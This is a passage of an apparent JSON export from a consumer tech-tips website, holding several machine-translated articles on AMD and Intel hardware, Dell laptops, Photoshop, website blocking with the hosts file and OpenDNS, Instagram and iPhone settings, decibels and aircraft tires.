CPUs could only read data at the first 16 MB. first on the BIOS chip. Because of this capacity limitation, supporting all socket AM4 CPUs on a chipset family is almost impossible.\nAt the moment, there are about 84 CPUs using socket AM4, including Ryzen Pro series. Comes with a series of micro architectures like Zen, Zen +, Zen2, . with each CPU series has its own AGESA platform. And of course these AGESA instructions will be crammed into a BIOS chip only 16MB in size. Therefore, AMD initially assigned the B450 and X470 motherboards to support Ryzen 1000, Ryzen 2000 and Ryzen 3000. The B550 and X570 series will be considered launchers for later Ryzen CPUs.\n However, due to the negative reaction from the community, AMD had to change its decision by 180 degrees. In order for Ryzen 4000 CPUs, also known as Zen 3s, to run on older motherboards, AMD and its motherboard partners will have a lot of work to do, especially at the time of launch. New CPU systems are getting closer. According to the information we recorded, the solution is that the 400 series motherboards will have 2 BIOS lines developed in parallel. One version is considered to be the default, only supports Ryzen 3000 CPUs and can be easily installed with the motherboard BIOS update. The other one, called Beta BIOS, will support CPUs from Ryzen 2000 to Ryzen 4000 and will require users to install it themselves. Moreover, once Beta Beta is installed, users will not be able to return to the default BIOS stream.In fact, this will not be a problem because the majority of users will have less need to return to the original Ryzen when they upgraded to Ryzen 3000 or 4000.\nThe only problem is that AMD will empower its partners like ASUS, Gigabtye, MSI, ASRock, etc. so they can choose to develop two BIOS systems. So, if you own a 400-seris motherboard and intend to upgrade to Ryzen 4000, hopefully the motherboard you are using will spoil users at AMD's discretion.\nncG1vNJzZmismaXArq3KnmWcp51krq6wjJyfmqaXmrFutdOsZKahnpl6pLvNraCnrZmjtG7AzmaqrqigpL%2B1edGysZ6mXWl9cXyMnKeuq12ku26uk25nZpmemXq5gJZpZKanpJ2ys67Omqmdqw%3D%3D\n","link":"/post/amd-changed-its-mind-continuing-to-support-ryzen-4000-cpus-on-b450-and-x470-motherboards/","section":"post","tags":null,"title":"AMD changed its mind, continuing to support Ryzen 4000 CPUs on B450 and X470 motherboards"},{"body":"AMD has just officially launched two new Radeon Pro W5500 and Radeon Pro W5500M graphics cards designed for use in fixed and mobile workstation systems, respectively. According to AMD's introduction, these two GPU models were developed primarily to meet the basic to advanced needs of people working in specific fields such as graphic design, manufacturing, architecture - content creation and creation.\nSome of the highlights of the two new products include the presence of a more optimized processing architecture: RDNA, with 7nm process technology, which enables a 25% higher performance per clock. with previous generation Graphics Core (GCN) architecture. Along with that is high-speed GDDR6 memory, supports high bandwidth PCI Express 4.0 and other advanced software features.\nThere will also be a significant improvement in multitasking performance with the ability to handle workflow with applications 10 times better than competitors in the same segment, allowing it to handle situations well. demanding, while providing 32% less power consumption than rivals.\n  Specifications as announced by AMD as follows:\nAMD Radeon Pro W5500:\nCalculation unit: 22 TFLOPS (FP32): Up to 5.35 Maximum power consumption: 125W GDDR6: 8GB Memory bandwidth: Up to 224GB / s Memory interface: 128-bit Output screen (DisplayPort 1.4): 4 (4 4K screens or 1 8K screen at 60Hz) AMD Radeon Pro W5500M:\nCalculation unit: 22 TFLOPS (FP32): Up to 4.79 Maximum power consumption: 85W GDDR6: 4GB Memory bandwidth: Up to 224GB / s Memory interface: 128-bit Output screen (DisplayPort 1.4): 4 Talking about the two new GPU models, Scott Herkelman, corporate vice president and general manager of AMD's Radeon Technologies Group, said:\n'With such improvements, we are confident that the Radeon Pro W5500 will deliver superior energy efficiency and top performance for 2D and 3D design applications, allowing them to visualize and better interact with users in real time, handle advanced tasks like virtual reality, and maximize productivity. '\nThe AMD Radeon Pro W5500 will go on sale in mid-February for $ 399. While the Radeon Pro W5500M will be available on professional mobile workstation systems, it will hit shelves this spring.\nncG1vNJzZmismaXArq3KnmWcp51krq6wjKucpZ2RqLKledOwpmamlax6qLHNnqmarJmku26zz65kpqeUmrm0edGam56nnmK9s7uMsGxuaGBirq%2BwjKuYnZ2fo3qxvs5mrm5tYGW6\n","link":"/post/amd-released-two-new-generation-gpu-models-radeon-pro-w5500-and-radeon-pro-w5500m/","section":"post","tags":null,"title":"AMD released two new generation GPU models, Radeon Pro W5500 and Radeon Pro W5500M"},{"body":"Ivy Bridge mainly upgraded the graphics processing capabilities of integrated chips, 22 nm manufacturing technology while keeping the Sandy Bridge architecture.\nIf compared to the time of yearly appearance, Ivy Bridge is slower than its \" brother\" Sandy Bridge. 2nd generation Core i chips were present at CES January 2011, while 3rd generation chips must arrive in April 2012 and sold after more than 2 months\nCurrently the integrated laptop models Intel Core i processor has started \" docking\" Vietnam market from about mid-June last but not so that the Sandy Bridge chip immediately disappeared. This is still a reasonable choice in some segments as well as consumer demand. In order to make the right decisions, users need to understand the upgrade as well as change between computers using two new chips.\nHere are some noteworthy points when choosing between these two models.\nIvy Bridge is \"tick\", Sandy Bridge is \"tock\". Intel always refers to the phrase \" tick-tock \" in the process of upgrading its processor every year continuously. It can be understood simply as \" tick \" for only one year with the normal upgrade while \"tock \" refers to a larger and more comprehensive upgrade. In this case, the \"tick \" attached to Ivy Bridge and \"tock\" are for Sandy Bridge.\n  Ivy Bridge is not a major upgrade compared to the previous generation like Sandy Bridge.\nBasically, Ivy Bridge upgraded the processing process but still retains the architecture compared to the previous generation. However, the improvements in graphics processing capabilities have made Intel call this a tick + step to emphasize change. The 3rd generation Core i chips also use Sandy Bridge's production process of 22 nm compared to 32 nm to consume less power in theory.\nIvy Bridge handles faster, but only slightly. Actual tests have shown that the performance improvement between these two chips in terms of processing speed is not much. According to PCMag, testing CineBench R11.5 renderings with Ivy Bridge Intel Core i7-3770K chip is 1.65 while Core i7-2700K (Sandy Bridge is the fastest) is 1.58 points. PCMark7's processor component score was 3,679 and 3,867 and the time in Photoshop CS5 was 2 minutes 47 seconds compared to 2 minutes 50 seconds.\nEarlier announcements by Intel also showed that the new chip line is 4 to 6% faster than the previous generation.\nIvy Bridge chips consume less power. With production precursors of 22 nm, smaller than 32 nm, Ivy Bridge is expected to consume less power than its predecessor. This is true for PCMag's tests. With two models of Core i7-2700K and the Core i7-3770K, use the Extech Datalogger program to measure power consumption. When the system is mostly in \" off\" with a consumption of about 71 watts, the Core i7-2700K (Sandy Bridge) processor consumes 166.5 watts of power and the Core i7-3700K is 136.3. wattt. Less levels are quite significant.\nHowever, this does not seem to really show up on the shared laptop usage time. In some tests with the recent Ivy Bridge laptop (from 14 to 20 million VND), the battery life is still over 3 hours, equivalent to models using older chips.\nIvy Bridge supports better graphics but still not enough to play 'terrible' games .   Ivy Bridge much improved on integrated graphics chip.\nThe most significant change on Ivy Bridge is the graphics processing capabilities of the integrated Intel HD Graphics 4000 chip. The same is built on 22 nm process and supports 4K maximum resolution as well as 3 support. screen instead of just 2 screens as before. Overall, Ivy Bridge's GPU is up to 60% faster than Sandy's, while incorporating the actual test shadow effect, the new system can be up to 30 times stronger.\nHowever, the fact also shows that if you want to play powerful 3D graphics games like Max Payne 3, Batman: Arkham City, The Elder Scrolls V : Skyrim, users will still need a discrete graphics card from AMD and Nvidia. Therefore, if you are a gamer, you really should consider in a range of money to choose a stronger graphics card because at this time strong configurations with Ivy chips are usually quite expensive.\nNeed a minimum of VND 14 million to think about the current Ivy Bridge laptop.   The current Ivy Bridge laptop has a minimum price of VND 14 million.\nIn the first series of laptops launched in June and maybe 2-3 months away, there will be no appearance of the Ivy Bridge Core i3 platform and all new laptops coming to Vietnam market at the moment. cost over VND 14 million (using Core i5 or Core i7 chips). Therefore, for high-end users who don't really have high demand or who use student students, Ivy Bridge laptop models aren't really suitable.\nIvy Bridge new out not too expensive, Sandy Bridge has much cheaper. Many Vietnamese users are psychologically worried when a new product will be expensive and waiting for it to be cheaper to decide to buy. This is not really true with the new Ivy Bridge chip. The product price reduction roadmap is always in the manufacturer's dictionary but if you pay attention to the average price of about 14 to 16 million dong, it is not high compared to Sandy Bridge's equivalent of Core i5 or i7 chips only about half a year. Therefore, if there is really a need, a passion for technology or a payment for buying a big laptop, choosing Ivy Bridge is very reasonable.\nMeanwhile, Sandy Bridge laptop began to gradually retreat to the cheap segment. Models using this chip even include a pretty strong discrete graphics card, which is only in the range of 11 to 12 million.\nncG1vNJzZmismaXArq3KnmWcp51ksKm7yJycZqeWYsCiusOyZJqmlGK2t8WMm6minJeaeq2tz62mqas%3D\n","link":"/post/choice-of-sandy-and-ivy-bridge-laptops/","section":"post","tags":null,"title":"Choice of Sandy and Ivy Bridge laptops"},{"body":"In this tutorial, TipsMake.com will show you how to create a Christmas card in Photoshop. In addition to the main content is the number 2010 on the card, you can add greetings or appropriate images .\nCreate a new file ( Ctrl + N ) in Photoshop with the size 1920x1200px (RGB mode) with a Resolution of 72 pixels / inch . Use the Rectangle Tool (U) to draw a rectangle that covers the entire width of the file with the background color as arbitrary.\n  Select the rectangle just drawn, go to Layer \u0026gt; Layer style \u0026gt; Gradient Overlay\n  Click on the color gradient bar to open the Gradient Editor section and set the color as shown below. Click OK after you've set the color.\n  As a result we will have the following background image:\n  Create a new layer and select Soft Round brush on the Brush tool (shortcut B )\n  Customize this brush in the Brushes panel ( F5 ), select Brush Tip Shape . Click and drag any slider to change Size, Hardness and Spacing as shown below. The Preview windows section will display all changes with the brush.\n  Go to Shape Dynamics section to set up as follows:\n  Then the Scattering section settings:\n  Change Foreground color to # CE0000 and use the newly created brush to paint the shadow of the falling snow.\n  On the next new layer, you still apply the previous brush but slightly larger in size, the color is similar to the light color part of the background.\n  On the middle part of the file, insert the number 2010 using the Horizontal Type tool ( T ). Select a suitable font, size and color in the Character panel:\n  Click on the photo background and enter the 2010 number, press Enter after the import is complete.\n  Set the Fill to 40% for the newly created layer 2010 and click on Add a layer style at the bottom of the Layers panel, click Outer Glow :\n  We will get the new effect of the text as follows:\n  The next step is to download some brush pattern settings for Photoshop here, its name is Floral ornaments . Create a new layer, go to the Brush Tool (B), set the brush to download.\n  Change the Foreground color to white and use the selected brush to draw the pattern of corners as follows:\n  Create a new layer and select the Soft Round brush used first, still choose white color and point some white brushes as shown below:\n  Set the Fill to 60% for this layer\n  Create a new layer, still use a soft , white brush and create some dots:\n  Select the Ellipse Tool (U) and draw a Christmas decoration ball in the middle of zero\n  Select Add a layer style at the bottom of the Layers panel and click Inner Shadow :\n  Set Gradient Overlay :\n  Click on the Gradient color bar to open the Gradient Editor and set the color as shown below. Click OK after you have selected\n  We have the following results\n  Select Rounded Rectangle Tool (U) (set the Radius to 10px in the Options bar) and draw the knob of the sphere. Rotate it slightly with the Free Transform tool (Ctrl + T). The clip will be a separate layer and placed under the layer of the sphere. The color used for this component is # FEDF36\n  Use the Pen Tool (P) to draw more decorative borders for the sphere knob. Choose color as # FB2D0C . This layer will have to be placed under the bridge layer but above the bridge knob layer\n  What to do now is draw a decorative sphere hook, using the Ellipse Tool (U) . This layer will be placed under the sphere knob layer.\n  Set Fill to 0% . Go to Add a layer style at the bottom of the Layer panel and select Stroke :\n  Click on the color bar to open the Gradient Editor section and set the color as shown below. Then click OK to close the Gradient Editor dialog box.\n  So we have completed the frame of the decorative sphere\n  Choose Soft Round brush from Brush Tool (B)\n  Create a new layer and use the selected brush to draw a bright spot on the right corner of the sphere.\n  Select the Add layer mask item from the lower part of the Layer panel. Change the Foreground color to black, select the Soft Round brush with black color to remove unnecessary components:\n  Need to draw a bright white space in the right corner of the ball, using the Pen tool (P)\n  Use the Custom Shape Tool (T) to add snowflakes to the sphere (snowflake color is # F84202 )\n    Group the entire Christmas globe drawing layer into a group (press Ctrl while selecting the layers, then drag the selected layers into the Create new group icon at the bottom of the Panel Layer. Make a copy of the medium group. Create then select the Free Transform tool (Ctrl + T) and rotate it a bit to put in the 2nd zero:\n  The final step is to create small stars using the Custom Shape Tool (U).\n  And this is the final result:\n  ncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpuYp7a0wMyaqmabkaextHnIp2SpoJ%2BpvLS0zqk%3D\n","link":"/post/create-christmas-cards-in-photoshop/","section":"post","tags":null,"title":"Create Christmas cards in Photoshop"},{"body":"E series bottlenecks and power failures are finally fixed by Dell with firmware updates.\nAs more and more complaints about Dell's indifferent attitude towards the status of laptop E series, namely the E6400 and 6500 series with overheating, sluggish activity and reduced processing capacity, Dell captured The beginning has positive moves to acknowledge your mistake.\nThe company has released a BIOS update version of the Latitude E6400 and 6500 series, which helps users solve problems caused by bottlenecks. However, here on some forums said even this error does not make some machines work at the maximum speed. But Dell is very optimistic about finding a fundamental solution to this problem and is willing to work with each end user on their issue.\n  Dell Inspiron 1320 Seagate hard drive error. (Photos: Photos)\nFor the Studio XPS 1645 version with a 90 Watt adapter error, Dell resolved by calling to the company complaining about the problem and receiving a 130 Watt replacement adapter to solve the problem.\nAnother problem that Dell users also complain about is the noise performance of the Seagate drive in the device. Especially in Explorer, every time you click on the hard drive icon will have a small \" click \", data from the hard drive will start to be synchronized. This unusual process and noise causes the system to stop working for about half a second. As for this error, Dell has attempted to fix it from scratch with the release of updates to resolve this hard drive error.\nTo install a new firmware, users need to write this firmware to a CD and boot from the disk. There are two types of Dell remedies, one with G-sensor models and one without sensor.\nAccording to Dell's update site, the laptop in the list below has been released an update that fixes Seagate hard drive errors:\n- Inspiron 1320, Inspiron 1370, Inspiron 1440, Inspiron 1470, Inspiron 1545, Inspiron 1570, Inspiron 1750.\n- Studio 1450, Studio 1457, Studio 1458, Studio 1555, Studio 1557, Studio 1745, Studio 1747.\n- Studio XPS 1340, Studio XPS 1640, Studio XPS 1645.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2adorCVqHq1tMRmmaispKGyr7HCpGSeqqKkvw%3D%3D\n","link":"/post/dell-fixes-the-bottleneck-error/","section":"post","tags":null,"title":"Dell fixes the 'bottleneck' error"},{"body":"CES 2020 is expected to become the catwalk of foldable devices, especially in the Laptop segment. However, the problems encountered in developing Windows 10X - the operating system exclusively for folding / dual-screen laptops - has led to the unfortunate absence of many big names.\nFortunately, Dell is still able to bring to the event this year two brand new laptops named Dell Concept Ori and Dell Concept Duet with impressive design and many unique features.\nThe complete removal of the keyboard and trackpad to replace the touch screen is the biggest design in common between Dell Concept Ori and Dell Concept Duet, besides both still run on Windows 10 platform because Microsoft still not complete Windows 10X yet.\n  However, Dell Concept Duet can be considered a copy of Surface Neo, with a separate screen design, 13.3 inches, opposing the clamshell folding mechanism. These two screens can be operated in combination (displaying the same content as the big screen) or used separately in many different modes. In particular, Concept Duet can also be compatible with proprietary accessories from Dell, which works like a trackpad or traditional keyboard in case users are not familiar with working on a pure touch screen.\nMeanwhile Dell Concept Ori will be priced in the higher-end segment with a 100% folding screen design, quite similar to the prototype folding screen laptop that Lenovo introduced last year - the Thinkpad X1 Fold. The device has a 13.4-inch P-OLED screen, which can be folded 180 degrees in the form of a clamshell. When working in folding mode, the bottom screen can be used as a touch keyboard with trackpad. Actual experience shows this panel for great visibility, although a fuzzy fold can still be seen in the center of the screen.\n  Dell has not yet announced the configuration information, price as well as the official launch time of these two unique laptops. However, a representative of the company said that Dell Concept Duet will likely be launched soon, probably later this year. While Concept Ori is a more experimental product.\nVideo 'on hand' 2 products Dell Concept Ori and Dell Concept Duet:\nncG1vNJzZmismaXArq3KnmWcp51ksKa%2FjGtna2hdmbKtuIyupa%2BdmaHAbsDWqGSfp5yZrqO4xGajmqikpL1uuc6dnKWrXZbBbsDHnmSwp6KhsbR5y5qpoJ2jqXq1scKhpaikn5zGbr%2FTmp6e\n","link":"/post/dell-unveils-two-foldable-laptop-models-at-the-world-s-largest-technology-stage/","section":"post","tags":null,"title":"Dell unveils two foldable laptop models at the world's largest technology stage"},{"body":"  Start Firefox on the computer. You can install many extensions on Firefox to block websites. These utilities are only supported on the desktop version. This method will focus on the popular utility BlockSite, which allows you to block specified websites.\nFirefox extensions can be bypassed quite simply and only take effect on Firefox. If you want to block all access to that website on all browsers in use, you should refer to another method in this article.\n  Click the Menu button (☰) and select \"Add-ons\". This is the operation that opens a new tab showing the installed plugin.\n  Click on the \"Get Add-ons\" tab on the left side of the screen. You will see several add-ons on Firefox.\n  Click on \"See more add-ons\" at the bottom of the page. This is the operation to open a new tab displaying the convenience store.\n  Find \"BlockSite.\" The screen will display the BlockSite utility, which helps you block websites quickly.\nThere are many utilities that block and filter websites. If you are not satisfied with BlockSite, try searching \"site block\" and \"parental control\" to find another extension.\n  Click the \"Add to Firefox\" and \"Install\" buttons. This is the operation to install BlockSite into Firefox.\n  Start Firefox. You are required to restart Firefox after installing the extension.\n  Click on \"I don't want to help\" in the new tab. This option prevents your browsing data from being sent to BlockSite.\n  Open BlockSite settings. Go back to the Add-ons tab and click on \"Extensions\". From here, click on \"Options\" next to \"Block site.\"\n  Set up a password. Check the \"Enable authentication\" dialog box to set up a password. Enter the password you want to use in the corresponding field. Anyone using Firefox is required to enter this password when they want to access BlockSite settings.\n  Choose between \"Blacklist\" and \"Whitelist\". When using a blacklist, any added websites are blocked. When using whitelist, on the contrary, the entire website is blocked except for the added website. Whitelists are more effective when you want to restrict your children to only view certain safe websites.\n  Add the site to the list. Click the \"Add\" button and type or paste the website address into the corresponding field. This is to add the website to the blacklist or whitelist, depending on your settings.\nYou can use wildcard to block multiple websites respectively. For example, to block any site that has the word \"drugs\" in the address, you would type *drugs*.\nEdit the hosts file   Open the hosts file. Files allow you to reroute from specific web pages to internal addresses, and effectively block the web. This method affects all computer users. Editing the hosts file is only really effective when you need to block a few pages.\nWindows - Navigate to C:/Windows/System32/drivers/etc and double click on the hosts file. If asked to choose a program to open the file, select \"Notepad.\"\nmacOS - Open Terminal in the Utilities folder. Type sudo nano /etc/hosts and enter the password when prompted. This is to open the file in the editor.\n  Add a new line at the end of the file. Add the website you want to block in a new line at the end of the file.\n  Type 127.0.0.1 . For example, if you want to block Facebook, type 127.0.0.1 www.facebook.com.\n  Add more pages to the new line. You can continue to add new lines to the file, one page per line. Don't forget to add 127.0.0.1 to each line.\nYou should also block the mobile version of that site. For example, if you block Facebook, block m.facebook.com as well.\n  Save the file when finished. Once you've finished editing the file, you need to save your changes:\nWindows - Press Ctrl+S or choose \"Save\" in the File menu.\nmacOS - press Ctrl+X and select \"Yes\" when asked to save the file. Use the old name to overwrite the original file.\n  Review. After changing the hosts file, you can test the website in any browser, the website will be redirected to a blank page. This method affects all users on the computer and also private browsers.\nUsing OpenDNS   Go to the OpenDNS website. OpenDNS is a DNS service that redirects websites containing adult or restricted content. This method allows you to block the website from all users on the same network no matter what browser or device they use. OpenDNS is a free service.\nGo to opendns.com in your browser.\n  Select \"Personal\" on the OpenDNS website. You will see different personal use plans.\n  Select \"OpenDNS Family Shield\" (OpenDNS Family Shield). This is a pre-configured filter to block websites with adult or inappropriate content in the home network.\n  Select \"Home routers\". This is an option that lists the specific setup instructions of many popular routers.\n  Find the router you are using in the list. If you don't know your router, or can't find it in the list, select \"FamilyShield Router Configuration Instructions\".\n  Open the router configuration page. The process depends on the router and network setup. See the article Accessing the router for detailed instructions.\nNormally, you enter the router's IP address into a web browser, log in with the username and password to access the configuration page.\n  Open the \"Internet\" or \"WAN\" section. This section contains the DNS settings for the router.\n  Disable automatic DNS. Many routers enable DNS automatically. You need to disable before manually entering the DNS server.\n  Enter the two DNS servers below. Enter the address below in the 2 corresponding DNS fields:\n208.67.222.123\n208.67.220.123\n  Click \"Apply\" or \"Save Changes\". This is to apply the new settings and restart the router. You may have to wait a minute for the network to start.\n  Review. The DNS server will automatically redirect access to the blocked site. Test import a website with adult content to make sure it works.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsedaemayhpJrAbrvNZp2iqpWbvLk%3D\n","link":"/post/how-to-block-websites-on-firefox/","section":"post","tags":null,"title":"How to Block Websites on Firefox"},{"body":"Changing passwords for social accounts such as changing Facebook passwords and changing Zalo passwords regularly will increase the security of those accounts. With Instagram, users will have to change the password on Instagram Android or Instagram iOS before, now you can change right away on Instagram computer.\nThe current web-based Instagram interface has also been provided with many options, especially personal account editing options, such as changing your Instagram avatar on your computer or changing your Instagram password. You do not need to access Instagram on your phone but can change it right away on your computer. The following article will guide you how to change Instagram password on PC.\nHow to change Instagram password on phone How to activate Instagram security with 2 layers by phone How to login to multiple Instagram accounts How to change Instagram account information Instructions to change the Instagram pass on the computer Step 1:\nAccess your Instagram account on your computer and proceed to log in as usual.\n  Step 2:\nIn Instagram home page interface, users click on the profile picture or click on the humanoid icon to access the personal Instagram page.\n  Step 3:\nAt this interface, click on the gear icon .\n  Next, display the options interface to reset your Instagram account, click Change password .\n  Step 4:\nSwitch to the password change interface for Instagram. Here we enter the required information, including:\nOld Password: enter the current password of your Instagram account. New Password: enter new password for Instagram account. Confirm New Password: Retype new password for Instagram account. Finally click Change Password to change the password again.\nSoon the password will be changed to Instagram and a message will appear at the bottom of the interface on the left side of the screen. Note that users cannot change the previously used password but must enter a completely new password.\n  The operation to change Instagram password on computer is very simple, similar to when you change the password on the phone. If you see an Instagram account having data security issues, you need to change your password immediately for Instagram.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyipayskZy%2FormMqZisq6ekv6V5zqdknKedpcK1sdE%3D\n","link":"/post/how-to-change-instagram-password-on-computer/","section":"post","tags":null,"title":"How to change Instagram password on computer"},{"body":"The new iOS 11 update provides a software-based solution to turn off the iPhone in the case of the power button, whose official name is the Sleep / Wake button on all iPhone models except the iPhone X is broken. In addition, there is a hidden setting that allows the device to be started immediately.\nThis hidden reboot feature is extremely easy to access, giving you a convenient new option to reboot the device without having to rely on the power button.\nHow to disable Touch ID and Face ID on iOS 11 to enhance security First, you need to turn on AssistiveTouch, go to the General section in Settings . From there, click Accessibility , select AssistiveTouch , then tap the button to turn on the virtual Home button.\n    Now, AssistiveTouch has been activated, just click on it to open its own window. From there, click on Device , then select More . You can now restart your iPhone by clicking the Restart button.\n    I wish you all success!\nSee more:\nHow to download free music for iTunes and iPhone Tips to help you master iPhone X How to uninstall apps on iPhone, iPad? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqMGivtNmoKmgn6OybrvNZqCoq11mfm7Dx56lZqafqXq2v8innmasmJp6sbvWnqlmmqWpwbC6\n","link":"/post/how-to-restart-iphone-on-ios-11-when-not-using-the-power-button/","section":"post","tags":null,"title":"How to restart iPhone on iOS 11 when not using the power button"},{"body":"Google Earth is a worldwide map viewer application that enables users to 'travel' anywhere on Earth right on their Internet-connected computer.\nRecently, Will - a geologist from the US shared interesting photos taken from the top-notch famous places he found when traveling 'traveling' around the world on the Google Earth app. . Please admire.\nWhite ice sheets are breaking down at a marina near Milwaukee, Wisconsin (USA).\n  Monument to USS Arizona, Pearl Harbor looks like a bridge.\n  The circular waves spread around the breakwater and lighthouse in one of the Great Lakes (Canada).\n  Tidal tide in the Wadden Sea, Denmark, the sea only appears twice a day.\n  Deep tidal channels like creeks at Wadden Sea.\n  Glaciers (large, long-lasting, continuous ice) flow through a plain in southeastern Alaska.\n  The green of a volcano in Tanzania's Great Rift valley.\n  Southeastern glaciers in Southeast Alaska stretched endlessly and carried a fantasy of beauty.\n  High and low tides appear at the same time on a Normandy beach.\n  A small gun dock is located at the entrance to the Dutch capital of Amsterdam.\n  Lake Lac a l'Eau Claire in the Canadian Shield. The origin of the lake is still a mystery. Many believe that the lake was created by a meteorite split in half and fell to Earth at the same time. But there is a hypothesis that two collisions between meteorites and Earth to form this lake occur about 200 million years apart.\n  A large barge moves on the Tombigbee River in Alabama (USA) with the help of a small boat.\n  A delta was created by the William River, flowing through sand dunes and into Lake Athabasca (Canada).\n  A beautiful volcanic mountain with strange red rock bubbles flowing like a cone down the ridge. This volcano is located on the Russian peninsula of Kamchatka.\n  ncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKucrKyZo7RuvMeoq6irXZu%2FsLmMoKaon5yaeqat0a2f\n","link":"/post/interesting-photos-from-google-earth/","section":"post","tags":null,"title":"Interesting photos from Google Earth"},{"body":"Currently, sources of rumors about the iPhone 12 agree that the design of Apple's new generation of smartphones will still retain the same notch as its predecessors. However, the 'groove' this time will be narrowed horizontally and expanded a bit more vertically, just enough space for the sensor on the front.\nTo help users visualize, svetapple.sk designer Róbert Hallon relied on such rumors to create a 3D render of the iPhone 12 last month. This model is based on a CAD drawing of Twitter account Jon Prosser - an expert in the field of `` teasing '' rumors about Apple, with relatively high accuracy.\n The 3D render shows that the iPhone 12 generation will still have the familiar \"notch\" but is smaller than its predecessors.\n The notch on the new iPhone 12 renders looks just as fancy as the iPhone X in 2017.\n This \"groove\" is just enough to cover the front-facing sensors like the speakerphone, selfie camera, infrared sensor .\nCurrently, all of them just stopped at rumors level and only confirmed when Apple launched the official product later this year. However, if accurate, this can be considered the biggest change in the design of the iPhone front since the 'rabbit ears' first appeared on the iPhone X in 2017. While other manufacturers are still seeking to eliminate the 'groove' with a series of ideas such as water drop screen or retractable camera, Apple seems to still put its faith in this design.\nIn addition, Róbert's rendering also shows that the rear camera cluster of the iPhone 12 will include the huge LiDAR sensor ever released on the iPad Pro 2020. This is also a detail that many sources agree on will appear on Apple's new generation of smartphones, and will also help them enhance their position in the increasingly fierce camera technology battle.\n The new render also shows that the rear camera assembly is square like the iPhone 11 generation, but will have the same LiDAR sensor as on the new iPad Pro.\n This render was created based on previous rumors, but there are sources that Apple is considering changing the position of LiDAR sensor to the upper left corner of the camera cluster later.\n Overall, the iPhone 12 design has not changed much compared to the iPhone 11 generation, but there are many small adjustments to bring the best experience for the user.\n Specifications of dimensions and configuration are also summarized by Róbert in his renderings.\n According to some rumors, the most advanced iPhone 12 will be equipped with many new colors, including the new dark green (Midnight Green).\nncG1vNJzZmismaXArq3KnmWcp51kurC%2BxGagqaCfo7JufZFmmqimk5q9tXnAqaeemaKo\n","link":"/post/more-iphone-12-concept-appears/","section":"post","tags":null,"title":"More iPhone 12 concept appears"},{"body":"Opera Mobile Store will replace Nokia Store to become the official app store for Nokia phones from the first quarter of 2015\nAccording to Microsoft's recent announcement, based on an agreement between Opera Software and Microsoft, Opera Mobile Store will replace Nokia Store as the default app store on Nokia phones using Symbian operating systems or lines. Nokia X smartphone.\n  From the first quarter of 2015, users accessing Nokia Store from Series 40, Series 60, Symbian, Asha and Nokia X devices will be automatically transferred to Opera Mobile Store, allowing users to become customers of Opera Mobile Store and access applications for Nokia phones.\nThe transition from Nokia Store to Opera Mobile Store will be completed in the first half of 2015 before Nokia Store officially stops working. When the transition from Nokia Store to Opera Mobile Store is complete, Opera will become the third largest app store in the world based on download traffic.\nCurrently this app store has 300,000 games and applications, supporting more than 7,500 different devices, from high-end phones to high-end smartphones.\nThis announcement follows another agreement announced in August 2014 that Opera became the default browser on Nokia's existing phones including Series 30+, Series 40, Asha and Nokia X.\nncG1vNJzZmismaXArq3KnmWcp51kvLGx0ZpkpqeSnrmmedKtpqudXay2rbiMq5yppJGYsm66zqSgmmWjqbyzsYyopWamn6C2onnPoaannaM%3D\n","link":"/post/opera-mobile-store-will-replace-nokia-store-on-nokia-phones/","section":"post","tags":null,"title":"Opera Mobile Store will replace Nokia Store on Nokia phones"},{"body":"Have you ever wondered what quantities are measured by sound? How much sound intensity is suitable? In today's article, let's find out about Decibel sound intensity quantities below!\n  1. What is dB?   dB stands for Decibel - a measure of sound intensity based on the nature of the human ear. With this sound level, we have an inaudible sound level of 0dB and a jarring sound level of about 140dB.\nThe human ear can hear sounds between 0dB and 125dB. The most suitable and easy-to-hear sound intensity ranges from 40dB to 105dB. If it is smaller than 40dB, we will be hard to hear, the intensity is above 105dB causing discomfort to the ears and hearing the sound intensity of over 115dB will cause permanent hearing damage (deafness).\n2. Learn about Decibel - unit of sound intensity measurement   In the field of electromagnetic audio, we often encounter two common units: power ( W ) and Decibel ( dB ). To convert how much power W is in terms of how many dB we use logarithms to calculate and multiply by 10 to give dB.\nExample 1: 100W of power equal to how many dB?\nlog 100 = 2 x 10 = 20 dB\nExample 2: How much dB is 200W?\nlog 200 = 2.3 x 10 = 23dB\n- attenuation of sound intensity (dB) by distance:\nDistance (m) first\n2\n4\n8\n16\n32\nsixty four\nAttenuation (dB)\n0\n-6\n-twelfth\n-18\n-24\n-30\n-36\n- Decibel intensity corresponding to the appropriate environment.\nDecibel intensity (dB)\nSurroundings\n0dB\nquiet\n10dB\nHuman breathing\n20dB\nThe sound of leaves falling slightly\n30dB\nThe sound of leaves falling in a thunderstorm\n40dB\nWhisper voices in the ear\n50dB\nSoundproof cinemas\n60dB\nNormal office work, computer keyboard typing\n70dB\nBustling cafes, supermarkets .\n80dB\nThe sound of motorbikes and cars on the road\n90dB\nSounds of industrial machinery such as excavators, mixers .\n100-110dB\nSounds in Rock show\n120-140dB\nThe sound of an airplane engine when taking off, an ambulance horn, an AK gun fire .\nWith the sharing of Decibel in the article, readers can understand about this common unit of measurement and the significance of Decibel in human life. If you read any questions or suggestions for the article, please leave a comment for TipsMake.com at the bottom of the article!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWUl3qtscCrpWaZkqTCtXnDnpqimpWhera6yK2qZqeWYrmmwsSlZKieXai8trrDZqCnrJWjwKrA2A%3D%3D\n","link":"/post/what-is-db-learn-about-decibel-units-of-level-of-sound-intensity/","section":"post","tags":null,"title":"What is dB? Learn about Decibel units of level of sound intensity"},{"body":"Meanwhile, the same rubber tires, but the phenomenon of tire explosion in cars still happens often and can cause terrible accidents. Why so?\nThe aircraft tire runs on the runway at a speed of 274 km/h and can handle loads up to 38 tons. When the plane lands, the tires will slide instead of rolling. This is the reason aircraft tires often smoke and squeak when landing. The tire will be dragged along the runway until its rotational velocity equals the airspeed. This time in contact with the runway is the time when the aircraft's tires wear the most.\n  Each aircraft tire can run on the ground 500 times before needing to change the outer layer of rubber (the outer surface in contact with the road). The most durable aircraft tires can withstand speeds of 463 km/h.\nAccording to Lee Bartholomew, Michelin tire test chief engineer, maximizing pressure is the most important factor in maintaining the life of an aircraft tire. Normally, normal airliner tires are inflated to a pressure of 200 psi, which is 6 times the pressure in car 